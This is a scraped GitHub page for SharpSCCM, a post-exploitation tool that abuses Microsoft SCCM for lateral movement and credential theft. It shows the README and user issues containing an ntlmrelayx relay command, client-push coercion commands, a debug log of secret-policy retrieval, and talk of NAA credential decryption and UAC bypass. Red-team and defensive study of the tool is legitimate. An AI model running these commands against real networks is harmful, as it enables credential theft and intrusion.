mayyhem / sharpsccm Goto Github PK

A C# utility for interacting with SCCM

License: GNU General Public License v3.0

C# 100.00%

sharpsccm's Introduction

Tool Overview

SharpSCCM is a post-exploitation tool designed to leverage Microsoft Endpoint Configuration Manager (a.k.a. ConfigMgr, formerly SCCM) for lateral movement and credential gathering without requiring access to the SCCM administration console GUI.

SharpSCCM was initially created to execute user hunting and lateral movement functions ported from PowerSCCM (by @harmj0y, @jaredcatkinson, @enigma0x3, and @mattifestation) and now contains additional functionality to gather credentials and abuse newly discovered attack primitives for coercing NTLM authentication in SCCM sites where automatic site-wide client push installation is enabled.

Please visit the wiki for documentation detailing how to build and use SharpSCCM, supporter, contributors, and defensive recommendations.

Author

Chris Thompson is the primary author of this project. Duane Michael (@subat0mik), Evan McBroom (@EvanMcBroom), Diego Lomellini (@DiLomSec1), and Carsten Sandker (@0xcsandker) have made major contributions. Please feel free to reach out on Twitter (@_Mayyhem) with questions, ideas for improvements, etc., and on GitHub with issues and pull requests.

Warning

This tool was written as a proof of concept in a lab environment and has not been thoroughly tested. There are lots of unfinished bits, terrible error handling, and functions I may never complete. Please be careful and use at your own risk.

sharpsccm's People

Contributors

Stargazers

Watchers

sharpsccm's Issues

SCCM Site-takeover authentication issue

Hi,
sorry if this is not the place but i have a question related to the site-takeover method used in the video 2023.
I created the same lab environment with the help of Office 365 deployment lab kit and did not touch any setting related to those machines.
When i try to execute the invoke client-push -t _relay-server-ip_ i see in my ntlmrelayx that the authentication is failed

[*] SMBD-Thread-908 (process_request_thread): Received connection from _relay-target-ip_, attacking target mssql://_relay-target-ip_
[-] ERROR(CM1): Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication.
[-] Authenticating against mssql://_relay-target-ip_ as CORP/CM1$ FAILED

To start the ntlmrelayx is use this command
ntlmrelayx.py -smb2support -ip _relay-server-ip_ -t "mssql://_relay-target-ip_ " -socks

I checked if the MS-SQL service is running which it is and confirmed it with
mssqlclient.py "CORP/LabAdmin"@"CM1.corp.contoso.com" -windows-auth logged in as the default user account.
Any idea on how to fix it? Did you guys maybe enable an extra setting to let it authenticate?

[BUG] An unhandled exception of type System.Reflection.TargetInvocationException

Describe the bug
In my lab environmen i'm having fun with this tool as my daily work involves alot of SCCM.
when i try to get the client-push credentials using the sharpsccm invoke client-push i get the following error
[!] An unhandled exception of type System.Reflection.TargetInvocationException occurred: Exception has been thrown by the target of an invocation.
I use a Kali Linux to run the responder.py, and using this command for sharpsccm
SharpSCCM_merged.exe invoke client-push -t 192.168.30.121

To Reproduce
Steps to reproduce the behavior:

Run sharpsccm.exe invoke client-push -t x.x.x.x

Expected behavior
No unhandled exceptions

Screenshots

** SharpSCCM version**
Latest github code

** Management point server specs (please complete the following information):**

OS: Windows Server 2022
ConfigMgr Version Technical Preview 2305

Client specs (please complete the following information):

OS: Windows 10 and Windows 11
ConfigMgr Version 5.00.9102.1008

Additional context
Any advise is greatly appreciated

[BUG] An exception occurred while trying to decrypt policy response

Describe the bug
Hi,

I get an error when running get secrets. It seems the server response is invalid (pkcs7EnvelopedCms.Decode raises an ASN1 related issue).

** SharpSCCM version**
Last version compiled with VS Version 17.4.4.

** Management point server specs (please complete the following information):**

OS: 2012R2
ConfigMgr Version : Unknown (I can dig to get the information if it is usefull)

Client specs (please complete the following information):

OS: Windows 10
ConfigMgr Version 5.00.9088.1025

Additional context

  _______ _     _ _______  ______  _____  _______ _______ _______ _______
  |______ |_____| |_____| |_____/ |_____] |______ |       |       |  |  |
  ______| |     | |     | |    \_ |       ______| |______ |______ |  |  |    @_Mayyhem

[+] Querying the local WMI repository for the current management point and site code
[+] Connecting to \\127.0.0.1\root\CCM
[+] Current management point: XXXXXXXX.mydomain.com
[+] Site code: PAF
SharpSCCM.exe Information: 0 : [DEBUG] Searching for certificate matching FindByApplicationPolicy value '1.3.6.1.4.1.311.101' in store 'SMS' at LocalMachine
SharpSCCM.exe Information: 0 : [DEBUG] Found 1 certificate matches.
SharpSCCM.exe Warning: 0 : Found certificate CN=SMS, CN=PC01 (YYYYYYYYYYYYYYYYYY). Certificate does not contain Client Authentication capability but "onlyReturnClientAuthCertificates" is false. Returning certificate anyway.
SharpSCCM.exe Information: 0 : [DEBUG] X509CertificateProvider.ctor(): IsCsp = False IsKsp = True HasPrivateKey = True ProviderName = Microsoft Platform Crypto Provider
[+] Obtained SMS Signing Certificate from local computer certificates store
SharpSCCM.exe Information: 0 : [DEBUG] Searching for certificate matching FindByApplicationPolicy value '1.3.6.1.4.1.311.101.2' in store 'SMS' at LocalMachine
SharpSCCM.exe Information: 0 : [DEBUG] Found 1 certificate matches.
SharpSCCM.exe Warning: 0 : Found certificate CN=SMS, CN=PC01 (ZZZZZZZZZZZZZZZ). Certificate does not contain Client Authentication capability but "onlyReturnClientAuthCertificates" is false. Returning certificate anyway.
SharpSCCM.exe Information: 0 : [DEBUG] X509CertificateProvider.ctor(): IsCsp = False IsKsp = True HasPrivateKey = True ProviderName = Microsoft Software Key Storage Provider
[+] Obtained SMS Encryption Certificate from local computer certificates store
[+] Connecting to \\127.0.0.1\root\CCM
[+] Obtained SmsId from local host: GUID:XXXXX-XXXX-XXXX-XXXX-XXXXXXX
SharpSCCM.exe Information: 0 : [DEBUG] In SynchronousMessageRequest..ctor
SharpSCCM.exe Information: 0 : [DEBUG] Encoding: System.Text.UnicodeEncoding
SharpSCCM.exe Information: 0 : Certificate Purpose flags are: Signing
SharpSCCM.exe Information: 0 : [DEBUG] Flags for message ConfigMgrPolicyAssignmentRequest are SigningRequired
SharpSCCM.exe Information: 0 : [DEBUG] No SigningSmsId is set for message and message does not explicitly reject signing.
    SharpSCCM.exe Information: 0 : [DEBUG] SigningSmsId is being set to SmsId.
SharpSCCM.exe Information: 0 : [DEBUG] Message Microsoft.ConfigurationManagement.Messaging.Messages.ConfigMgrPolicyAssignmentRequest will be signed: True
[+] Obtaining Full Machine policy assignment from XXXXXXXX.mydomain.com PAF
SharpSCCM.exe Information: 0 : Sending message 'Microsoft.ConfigurationManagement.Messaging.Messages.ConfigMgrPolicyAssignmentRequest' via sender 'Microsoft.ConfigurationManagement.Messaging.Sender.Http.HttpSender'. Message type: 'Sync'
SharpSCCM.exe Information: 0 : Validating message settings
    SharpSCCM.exe Information: 0 : Message 'Microsoft.ConfigurationManagement.Messaging.Messages.ConfigMgrPolicyAssignmentRequest' support status: 'Supported'. Message is supported and any functionality issues should be reported as bugs.
    SharpSCCM.exe Information: 0 : [DEBUG] Flags for message ConfigMgrPolicyAssignmentRequest are SigningRequired
    SharpSCCM.exe Information: 0 : [DEBUG] Message Microsoft.ConfigurationManagement.Messaging.Messages.ConfigMgrPolicyAssignmentRequest will be signed: True
    SharpSCCM.exe Information: 0 : [DEBUG] Get certificate for Signing returned YYYYYYYYYYYYYYYYYY
    SharpSCCM.exe Information: 0 : [DEBUG] 0 validation exceptions were handled during validation process.
SharpSCCM.exe Warning: 0 : User policy request and no UserInformation specified. Using current machine information.
SharpSCCM.exe Information: 0 : [DEBUG] Serialization flags for message Microsoft.ConfigurationManagement.Messaging.Messages.PolicyAssignmentRequestAssignments are: None
SharpSCCM.exe Information: 0 : [DEBUG] Payload bytes are being set.
SharpSCCM.exe Information: 0 : [DEBUG] AuthenticationType is: Automatic. Credentials are: null
SharpSCCM.exe Information: 0 : [DEBUG] Returning /ccm_system/request VDIR
SharpSCCM.exe Information: 0 : [DEBUG] MessageVerb is: CCM_POST
SharpSCCM.exe Information: 0 : [DEBUG] ManagementPointUriPath is: /ccm_system/request
SharpSCCM.exe Information: 0 : [DEBUG] Using URI http://XXXXXXXX.mydomain.com/ccm_system/request
SharpSCCM.exe Information: 0 : [DEBUG] Message timeout is: 60000ms
SharpSCCM.exe Information: 0 : [DEBUG] AllowProxyTraversal == true. This means that the sender will use the current proxy settings for the request which may lead to undesired results.
SharpSCCM.exe Information: 0 : [DEBUG] Using CCM_POST method to send data to web server
SharpSCCM.exe Information: 0 : [DEBUG] Message is a standard MP message.
    SharpSCCM.exe Information: 0 : [DEBUG] Flags for message ConfigMgrPolicyAssignmentRequest are SigningRequired
    SharpSCCM.exe Information: 0 : [DEBUG] Message Microsoft.ConfigurationManagement.Messaging.Messages.ConfigMgrPolicyAssignmentRequest will be signed: True
    SharpSCCM.exe Information: 0 : Signing message
    SharpSCCM.exe Information: 0 : [DEBUG] Flags for message ConfigMgrPolicyAssignmentRequest are SigningRequired
    SharpSCCM.exe Information: 0 : [DEBUG] Message Microsoft.ConfigurationManagement.Messaging.Messages.ConfigMgrPolicyAssignmentRequest will be signed: True
    SharpSCCM.exe Information: 0 : [DEBUG] Performing "mixed mode" signing of message
    SharpSCCM.exe Information: 0 : [DEBUG] Get certificate for Signing returned YYYYYYYYYYYYYYYYYY
    SharpSCCM.exe Information: 0 : [DEBUG] [Microsoft.ConfigurationManagement.Messaging.Framework.MessageHashAlgorithmCng IsCsp=False IsKsp=True] Signing 780 bytes using algorithm: SHA256
    SharpSCCM.exe Information: 0 : [DEBUG] Get certificate for Signing returned YYYYYYYYYYYYYYYYYY
    SharpSCCM.exe Information: 0 : [DEBUG] [Microsoft.ConfigurationManagement.Messaging.Framework.MessageHashAlgorithmCng IsCsp=False IsKsp=True] Signing 84 bytes using algorithm: SHA256
SharpSCCM.exe Information: 0 : [DEBUG] Serialization flags for message Microsoft.ConfigurationManagement.Messaging.Framework.ManagementPoint.MPMessageBodyOutgoing are: None
SharpSCCM.exe Information: 0 : [DEBUG] Serialization flags for message Microsoft.ConfigurationManagement.Messaging.Framework.ManagementPoint.MPHookClientAuth are: None
SharpSCCM.exe Information: 0 : [DEBUG] CCM_POST: payload size 6196
SharpSCCM.exe Information: 0 : HTTP response status code is: OK
SharpSCCM.exe Information: 0 : [DEBUG] Cloning message
SharpSCCM.exe Information: 0 : [DEBUG] Flags for message ConfigMgrPolicyAssignmentReply are SigningRequired
SharpSCCM.exe Information: 0 : [DEBUG] No SigningSmsId is set for message and message does not explicitly reject signing.
    SharpSCCM.exe Information: 0 : [DEBUG] SigningSmsId is being set to SmsId.
SharpSCCM.exe Information: 0 : [DEBUG] Message 'Microsoft.ConfigurationManagement.Messaging.Messages.ConfigMgrPolicyAssignmentReply' is a reply type that requires signing, but site code isn't sent. Client will likely reject message.
SharpSCCM.exe Information: 0 : [DEBUG] Message Microsoft.ConfigurationManagement.Messaging.Messages.ConfigMgrPolicyAssignmentReply will be signed: True
SharpSCCM.exe Information: 0 : [DEBUG] Not cloning property Endpoint because it is a special message-specific property
SharpSCCM.exe Information: 0 : [DEBUG] Not cloning property ReplyEndpoint because it is a special message-specific property
SharpSCCM.exe Information: 0 : [DEBUG] byteStream has an 0xfffe BOM, stripping out the first two bytes.
SharpSCCM.exe Information: 0 : [DEBUG] MIME type is parsed as: Text
SharpSCCM.exe Information: 0 : [DEBUG] MIME sub-type is parsed as: plain
SharpSCCM.exe Information: 0 : [DEBUG] MIME type is parsed as: Application
SharpSCCM.exe Information: 0 : [DEBUG] MIME sub-type is parsed as: octet-stream
SharpSCCM.exe Information: 0 : [DEBUG] 2 MIME blobs in reply
SharpSCCM.exe Information: 0 : [DEBUG] Message is a Msg message, second element has the body
SharpSCCM.exe Warning: 0 : No certificate of type ManagementPointSigning was found.
SharpSCCM.exe Information: 0 : [DEBUG] Got return message (size: 1243300)
SharpSCCM.exe Information: 0 : [DEBUG] Not cloning property Endpoint because it is a special message-specific property
SharpSCCM.exe Information: 0 : [DEBUG] Not cloning property ReplyEndpoint because it is a special message-specific property
SharpSCCM.exe Information: 0 : [DEBUG] Not cloning SenderProperties because CloneSenderSettings is not specified.
SharpSCCM.exe Information: 0 : [DEBUG] Payload has changed, re-generating the payload string.
SharpSCCM.exe Error: 0 : Input stream passed to StripBom(byte[]) that does not meet criteria for BOM stripping. Returning original byte stream to caller.
[+] Found 409 policy assignments
[+] Found policy containing secrets:
      ID: {BBBBBBBBBBBBBBBBBBBBBBBBBBBB}
      Flags: RequiresAuth, Secret, IntranetOnly, PersistWholePolicy
      URL: http://<mp>/SMS_MP/.sms_pol?{BBBBBBBBBBBBBBBBBBBBBBBBBBBB}.2_00
SharpSCCM.exe Information: 0 : [DEBUG] [Microsoft.ConfigurationManagement.Messaging.Framework.MessageHashAlgorithmCng IsCsp=False IsKsp=True] Signing 126 bytes using algorithm: SHA256
[+] Adding authentication headers to download request:
      ClientToken: GUID:XXXXX-XXXX-XXXX-XXXX-XXXXXXX;2023-09-12T13:49:25Z
      ClientTokenSignature: XXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] Received encoded response from server for policy {BBBBBBBBBBBBBBBBBBBBBBBBBBBB}
[!] An exception occurred while trying to decrypt policy response: ASN1 de valeur de balise incorrecte.

[+] Completed execution in 00:00:01.4846978

[BUG] Debug version

You have forgotten )

└─$ grep -air 192.168.57.101                      
SharpSCCM.csproj:if $(ConfigurationName) == Debug copy $(TargetDir)SharpSCCM_merged.exe \\192.168.57.101\Users\cthompson\git\SharpSCCM\bin\x64\Debug\SharpSCCM.exe</PostBuildEvent>
                                                                                                                                                                                                                              
                                                                                                                                                                                                                              ```

[BUG] BUILD error - LDAP does not exist in the current context

Describe the bug
When compiling the sln I get this error "The name 'LDAP' does not exist in the current context"

To Reproduce
Steps to reproduce the behavior:

Open sln file
Release > x64
Build will fail
See error

Expected behavior
Expected to have en compiled sharpsccm.exe file in the bin folder

Screenshots

** SharpSCCM version**
Latest github code as of May 25 2023

[FEATURE] Support computer account hash in ` get secrets`

Is your feature request related to a problem? Please describe.
It may be possible to retrieve a computer account's NT hash in situations where it is not possible to add a computer account. The tool currently does not support hashes.

Describe the solution you'd like
NT hash support

Describe alternatives you've considered
N/A

Additional context
N/A

[BUG] New collection member checks existing collections for 1 member

Describe the bug

BadSectorLabs
12:03 PM
I think this is a bug. You only check if the member count is equal to 1, but you could be adding a second device (which instantly reports succes) or 3+ devices which will never satisfy this check. Perhaps better to check that the device is in the group members like you do above? https://github.com/Mayyhem/SharpSCCM/blob/d2dd01fa58f3e168d34611b249579aa848b7ea97/lib/MgmtPointWmi.cs#L1036C53-L1036C53

[BUG] Print exceptions for admin-service API errors

Describe the bug

Might be worth printing the error code here. Just got a lot of 403

SharpSCCM/lib/AdminService.cs

Line 112 in d2dd01f

// Handle other HTTP errors

[FEATURE] Executable on unobfuscating NAA

Describe the solution you'd like
Hello Mayyhem, is it possible to release a separated executable on unobfuscating NAA policy?
I fail to complie the source code in my environment.

warning C4477: 'printf' : format string '%ws' requires an argument of type 'wchar_t *', but variadic argument 1 has type 'LPBYTE'

Build started...
1>------ Build started: Project: DeobfuscateSecretString, Configuration: Debug x64 ------
2>------ Build started: Project: SharpSCCM, Configuration: Debug x64 ------
1>DeobfuscateSecretString.cpp
2> SharpSCCM -> C:\Users\Asus\Desktop\cobaltkits\SharpSCCM\bin\x64\Debug\SharpSCCM.exe
1>C:\Users\Asus\Desktop\cobaltkits\SharpSCCM\DeobfuscateSecretString\DeobfuscateSecretString.cpp(26,15): warning C4200: nonstandard extension used: zero-sized array in struct/union
1>C:\Users\Asus\Desktop\cobaltkits\SharpSCCM\DeobfuscateSecretString\DeobfuscateSecretString.cpp(26,15): message : This member will be ignored by a defaulted constructor or copy/move assignment operator
1>C:\Users\Asus\Desktop\cobaltkits\SharpSCCM\DeobfuscateSecretString\DeobfuscateSecretString.cpp(92,24): warning C4477: 'printf' : format string '%ws' requires an argument of type 'wchar_t *', but variadic argument 1 has type 'LPBYTE'
1>C:\Users\Asus\Desktop\cobaltkits\SharpSCCM\DeobfuscateSecretString\DeobfuscateSecretString.cpp(92,24): message : consider using '%hs' in the format string
1>C:\Users\Asus\Desktop\cobaltkits\SharpSCCM\DeobfuscateSecretString\DeobfuscateSecretString.cpp(92,24): message : consider using '%s' in the format string
1>C:\Users\Asus\Desktop\cobaltkits\SharpSCCM\DeobfuscateSecretString\DeobfuscateSecretString.cpp(92,24): message : consider using '%Ts' in the format string
1>DeobfuscateSecretString.vcxproj -> C:\Users\Asus\Desktop\cobaltkits\SharpSCCM\DeobfuscateSecretString\x64\Debug\DeobfuscateSecretString.exe
1>Done building project "DeobfuscateSecretString.vcxproj".
3>------ Build started: Project: UnitTests, Configuration: Debug x64 ------
3> UnitTests -> C:\Users\Asus\Desktop\cobaltkits\SharpSCCM\UnitTests\bin\x64\Debug\SharpSCCM.UnitTests.dll
========== Build: 3 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========
========== Elapsed 00:06.652 ==========

[FEATURE] bypass uac

can bypass uac ?

[BUG] System.ArgumentException cmpivot

Describe the bug
CMPivot query for reading file content System.ArgumentException error.
An unhandled exception of type System.ArgumentException occurred: Accessed JArray values with invalid key value: "Result" . Int32 array index expected. When executing

To Reproduce
Steps to reproduce the behavior:

Build latest content.
Execute On GW1 . \SharpSCCM_merged.exe invoke admin-service -q "FileContent ('C: \Windows\system32\drivers\etc\hosts')" -i SMS00001 -mp 192.168.1.110 --no-banner -d 10
Wait a few seconds and scroll down.
See error

Expected behavior
The full output that was seen by using the web browser was not displayed in the console. Instead, it throws an error.
If you add the -j to display it in JSON it works but the format is a not good for reading the file content of a file.

Screenshots

** SharpSCCM version**
branch version ba23103
normally latest.

** Management point server specs (please complete the following information):**

OS: Windows Server 2019
ConfigMgr Version: 2111, Site version 5.0.9049.1000

Client specs (please complete the following information):

OS: Windows 10 GW-1
ConfigMgr Version 5.00.9049.1010

Additional context
On line 203 in the SharpSCCM.AdminService file the code is like this.
JArray results = (JArray)obj["value"]["Result"];
To fix the issue, it should be like this.
JArray results = (JArray)obj["value"][0]["Result"];

result is like this

[FEATURE] Parse NAA blobs from CIM Repository

Is your feature request related to a problem? Please describe.
The tool parses NAAs from WMI but not the CIM repository, as outlined in @subat0mik 's blog here: https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9

Describe the solution you'd like
Code to parse objects.data for blobs then pass to decryption function

Describe alternatives you've considered
Currently feasible manually

Additional context
Add any other context or screenshots about the feature request here.

mayyhem / sharpsccm Goto Github PK

sharpsccm's Introduction

Tool Overview

Author

Warning

sharpsccm's People

Contributors

Stargazers

Watchers

Forkers

sharpsccm's Issues

Recommend Projects

Recommend Topics

Recommend Org